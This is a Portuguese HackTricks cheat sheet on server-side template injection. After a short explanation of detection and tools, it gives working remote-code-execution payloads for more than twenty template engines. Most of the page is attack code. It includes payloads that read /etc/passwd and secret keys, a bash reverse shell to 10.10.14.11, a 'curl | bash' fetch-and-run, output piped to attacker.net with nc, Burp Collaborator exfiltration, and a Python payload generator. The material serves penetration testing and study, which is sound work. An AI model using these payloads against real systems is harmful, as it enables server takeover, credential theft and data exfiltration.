45 KiB
SSTI (Server Side Template Injection)
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, verifique os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para os HackTricks e HackTricks Cloud repositórios do github.
RootedCON é o evento de cibersegurança mais relevante na Espanha e um dos mais importantes na Europa. Com a missão de promover o conhecimento técnico, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
{% embed url="https://www.rootedcon.com/" %}
O que é SSTI (Server-Side Template Injection)
A injeção de modelo no lado do servidor é uma vulnerabilidade que ocorre quando um atacante pode injetar código malicioso em um modelo que é executado no servidor. Essa vulnerabilidade pode ser encontrada em várias tecnologias, incluindo Jinja.
Jinja é um mecanismo de modelo popular usado em aplicações web. Vamos considerar um exemplo que demonstra um trecho de código vulnerável usando Jinja:
output = template.render(name=request.args.get('name'))
Neste código vulnerável, o parâmetro name
da requisição do usuário é diretamente passado para o template usando a função render
. Isso pode potencialmente permitir que um atacante injete código malicioso no parâmetro name
, levando a uma injeção de template no lado do servidor.
Por exemplo, um atacante poderia criar uma requisição com um payload como este:
http://vulnerable-website.com/?name={{bad-stuff-here}}
O payload {{bad-stuff-here}}
é injetado no parâmetro name
. Este payload pode conter diretivas de modelo Jinja que permitem ao atacante executar código não autorizado ou manipular o mecanismo de modelo, potencialmente obtendo controle sobre o servidor.
Para prevenir vulnerabilidades de injeção de modelo do lado do servidor, os desenvolvedores devem garantir que a entrada do usuário seja devidamente sanitizada e validada antes de ser inserida nos modelos. Implementar validação de entrada e usar técnicas de escape sensíveis ao contexto pode ajudar a mitigar o risco dessa vulnerabilidade.
Detecção
Para detectar Injeção de Modelo do Lado do Servidor (SSTI), inicialmente, fazer fuzzing no modelo é uma abordagem direta. Isso envolve injetar uma sequência de caracteres especiais (${{<%[%'"}}%\
) no modelo e analisar as diferenças na resposta do servidor para dados regulares versus essa carga especial. Indicadores de vulnerabilidade incluem:
- Erros lançados, revelando a vulnerabilidade e potencialmente o mecanismo de modelo.
- Ausência da carga na reflexão, ou partes dela faltando, implicando que o servidor a processa de forma diferente dos dados regulares.
- Contexto de Texto Simples: Distinguir de XSS verificando se o servidor avalia expressões de modelo (por exemplo,
{{7*7}}
,${7*7}
). - Contexto de Código: Confirmar a vulnerabilidade alterando parâmetros de entrada. Por exemplo, alterar
greeting
emhttp://vulnerable-website.com/?greeting=data.username
para ver se a saída do servidor é dinâmica ou fixa, como emgreeting=data.username}}hello
retornando o nome de usuário.
Fase de Identificação
Identificar o mecanismo de modelo envolve analisar mensagens de erro ou testar manualmente várias cargas específicas de linguagem. Cargas comuns que causam erros incluem ${7/0}
, {{7/0}}
e <%= 7/0 %>
. Observar a resposta do servidor a operações matemáticas ajuda a identificar o mecanismo de modelo específico.
Ferramentas
TInjA
um scanner eficiente de SSTI + CSTI que utiliza políglotos inovadores
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
SSTImap
python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/ --crawl 5 --forms
python3 sstimap.py -u 'https://example.com/page?name=John' -s
Tplmap
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
Tabela de Injeção de Template
uma tabela interativa contendo os poliglotas de injeção de template mais eficientes juntamente com as respostas esperadas dos 44 motores de template mais importantes.
Exploits
Genérico
Nesta lista de palavras você pode encontrar variáveis definidas nos ambientes de alguns dos motores mencionados abaixo:
- https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt
- https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt
Java
Java - Injeção Básica
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
Java - Obter as variáveis de ambiente do sistema
${T(java.lang.System).getenv()}
Java - Obter /etc/passwd
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
FreeMarker (Java)
Você pode tentar seus payloads em https://try.freemarker.apache.org
{{7*7}} = {{7*7}}
${7*7} = 49
#{7*7} = 49 -- (legacy)
${7*'7'} Nothing
${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
Freemarker - Bypass de Sandbox
⚠️ funciona apenas em versões do Freemarker abaixo de 2.3.30
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
Mais informações
- Na seção FreeMarker de https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker
Velocity (Java)
// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end
Mais informações
- Na seção Velocity de https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity
Thymeleaf
No Thymeleaf, um teste comum para vulnerabilidades de SSTI é a expressão ${7*7}
, que também se aplica a esse mecanismo de template. Para possíveis execuções de código remoto, podem ser usadas expressões como as seguintes:
- SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
- OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
Thymeleaf requer que essas expressões sejam colocadas dentro de atributos específicos. No entanto, o inline de expressão é suportado para outras localizações de template, usando sintaxe como [[...]]
ou [(...)]
. Assim, um payload de teste de SSTI simples pode se parecer com [[${7*7}]]
.
No entanto, a probabilidade desse payload funcionar é geralmente baixa. A configuração padrão do Thymeleaf não suporta geração dinâmica de templates; os templates devem ser predefinidos. Os desenvolvedores precisariam implementar seu próprio TemplateResolver
para criar templates a partir de strings dinamicamente, o que é incomum.
Thymeleaf também oferece pré-processamento de expressão, onde expressões dentro de dois sublinhados duplos (__...__
) são pré-processadas. Esse recurso pode ser utilizado na construção de expressões, como demonstrado na documentação do Thymeleaf:
#{selection.__${sel.code}__}
Exemplo de Vulnerabilidade no Thymeleaf
Considere o trecho de código a seguir, que poderia ser suscetível à exploração:
<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
Isso indica que se o mecanismo de template processar essas entradas de forma inadequada, pode levar à execução de código remoto acessando URLs como:
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
Mais informações
{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}
Spring Framework (Java)
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
Burlar filtros
Múltiplas expressões de variáveis podem ser usadas, se ${...}
não funcionar, tente #{...}
, *{...}
, @{...}
ou ~{...}
.
- Ler
/etc/passwd
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
- Script personalizado para geração de payload
#!/usr/bin/python3
## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"
from sys import argv
cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'
count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1
print(base_payload + end_payload)
Mais Informações
Manipulação de Visualização Spring (Java)
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}
Pebble (Java)
{{ someString.toUPPERCASE() }}
Versão antiga do Pebble ( < versão 3.0.9):
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
Nova versão do Pebble:
{% raw %}
{% set cmd = 'id' %}
{% endraw %}
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
Jinjava (Java)
Jinjava é uma biblioteca Java para análise e renderização de modelos de texto. Ele fornece suporte para injeção de modelo do lado do servidor (SSTI) em aplicativos da web Java. Jinjava é uma ótima ferramenta para explorar vulnerabilidades de SSTI em aplicativos Java e pode ser usado durante testes de penetração para identificar e explorar possíveis vulnerabilidades.
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
Jinjava é um projeto de código aberto desenvolvido pela Hubspot, disponível em https://github.com/HubSpot/jinjava/
Jinjava - Execução de Comandos
Corrigido por https://github.com/HubSpot/jinjava/pull/230
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
Mais informações
Hubspot - HuBL (Java)
- Delimitadores de declaração
{% %}
- Delimitadores de expressão
{{ }}
- Delimitadores de comentário
{# #}
{{ request }}
- com.hubspot.content.hubl.context.TemplateContextRequest@23548206{{'a'.toUpperCase()}}
- "A"{{'a'.concat('b')}}
- "ab"{{'a'.getClass()}}
- java.lang.String{{request.getClass()}}
- class com.hubspot.content.hubl.context.TemplateContextRequest{{request.getClass().getDeclaredMethods()[0]}}
- public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Pesquise por "com.hubspot.content.hubl.context.TemplateContextRequest" e descubra o projeto Jinjava no Github.
{{request.isDebug()}}
//output: False
//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4
//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797
//It was also possible to call methods on the created object by combining the
{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}
{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx
//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e
//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution
//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
Mais informações
Linguagem de Expressão - EL (Java)
${"aaaa"}
- "aaaa"${99999+1}
- 100000.#{7*7}
- 49${{7*7}}
- 49${{request}}, ${{session}}, {{faceContext}}
A Linguagem de Expressão (EL) é um recurso fundamental que facilita a interação entre a camada de apresentação (como páginas da web) e a lógica da aplicação (como beans gerenciados) em JavaEE. É amplamente utilizada em várias tecnologias JavaEE para otimizar essa comunicação. As principais tecnologias JavaEE que utilizam EL incluem:
- JavaServer Faces (JSF): Emprega EL para vincular componentes em páginas JSF aos dados e ações de backend correspondentes.
- JavaServer Pages (JSP): EL é usado em JSP para acessar e manipular dados dentro das páginas JSP, facilitando a conexão dos elementos da página aos dados da aplicação.
- Contexts and Dependency Injection for Java EE (CDI): EL integra-se ao CDI para permitir uma interação perfeita entre a camada web e os beans gerenciados, garantindo uma estrutura de aplicação mais coerente.
Confira a seguinte página para aprender mais sobre a exploração dos interpretadores EL:
{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}
Groovy (Java)
Os seguintes desvios do Security Manager foram retirados deste artigo.
//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x
//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x
//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
RootedCON é o evento de cibersegurança mais relevante na Espanha e um dos mais importantes na Europa. Com a missão de promover o conhecimento técnico, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
{% embed url="https://www.rootedcon.com/" %}
Smarty (PHP)
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
Mais informações
- Na seção Smarty de https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty
Twig (PHP)
{{7*7}} = 49
${7*7} = ${7*7}
{{7*'7'}} = 49
{{1/0}} = Error
{{foobar}} Nothing
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}
#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}
Twig - Formato de Template
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);
$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);
Mais informações
- Na seção Twig e Twig (Sandboxed) em https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig
Plates (PHP)
Plates é um mecanismo de modelagem nativo do PHP, inspirado no Twig. No entanto, ao contrário do Twig, que introduz uma nova sintaxe, o Plates utiliza código PHP nativo nos modelos, tornando-o intuitivo para desenvolvedores PHP.
Controlador:
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');
// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);
Modelo de página:
<?php $this->layout('template', ['title' => 'User Profile']) ?>
<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>
Modelo de layout:
<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>
Mais informações
PHPlib e HTML_Template_PHPLIB (PHP)
HTML_Template_PHPLIB é o mesmo que PHPlib, mas portado para Pear.
authors.tpl
<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>
authors.php
<?php
//we want to display this author list
$authors = array(
'Christian Weiske' => 'cweiske@php.net',
'Bjoern Schotte' => 'schotte@mayflower.de'
);
require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');
//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));
//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}
//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>
Mais informações
Jade (NodeJS)
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
Mais informações
- Na seção Jade de https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen
patTemplate (PHP)
patTemplate é um mecanismo de modelagem PHP não compilado que usa tags XML para dividir um documento em diferentes partes.
<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>
Mais informações
Handlebars (NodeJS)
Travessia de Caminho (mais informações aqui).
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
- = Erro
- ${7*7} = ${7*7}
- Nada
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D
Mais informações
JsRender (NodeJS)
Template | Descrição |
---|---|
Avalia e renderiza a saída | |
Avalia e renderiza a saída codificada em HTML | |
Comentário | |
e | Permite código (desativado por padrão) |
- = 49
Lado do Cliente
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
Lado do Servidor
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
Mais informações
PugJs (NodeJS)
#{7*7} = 49
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}
Exemplo de renderização no lado do servidor
var pugjs = require('pug');
home = pugjs.render(injected_page)
Mais informações
NUNJUCKS (NodeJS)
- {{7*7}} = 49
- {{foo}} = Sem saída
- #{7*7} = #{7*7}
- {{console.log(1)}} = Erro
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}
Mais informações
ERB (Ruby)
{{7*7}} = {{7*7}}
${7*7} = ${7*7}
<%= 7*7 %> = 49
<%= foobar %> = Erro
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
Mais informações
Slim (Ruby)
{ 7 * 7 }
{ %x|env| }
Mais informações
Python
Confira a seguinte página para aprender truques sobre execução de comandos arbitrários contornando ambientes restritos em python:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}
Tornado (Python)
{{7*7}} = 49
${7*7} = ${7*7}
{{foobar}} = Error
{{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}
{% import os %}
{% endraw %}
{{os.system('whoami')}}
{{os.system('whoami')}}
Mais informações
Jinja2 (Python)
Jinja2 é um mecanismo de modelo completo para Python. Possui suporte total a Unicode, um ambiente de execução integrado e isolado opcional, amplamente utilizado e licenciado sob a BSD.
{{7*7}} = Erro
${7*7} = ${7*7}
{{foobar}} Nada
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
{{settings}}
<div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}
{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
Jinja2 - Formato do Template
{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}
RCE não dependente de __builtins__
:
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
Mais detalhes sobre como abusar do Jinja:
{% content-ref url="jinja2-ssti.md" %} jinja2-ssti.md {% endcontent-ref %}
Outros payloads em https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
Mako (Python)
<%
import os
x=os.popen('id').read()
%>
${x}
Mais informações
Razor (.Net)
@(2+2) <= Sucesso
@() <= Sucesso
@("{{código}}") <= Sucesso
@ <= Sucesso
@{} <= ERRO!
@{ <= ERRO!
@(1+2)
@( //Código C# )
@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
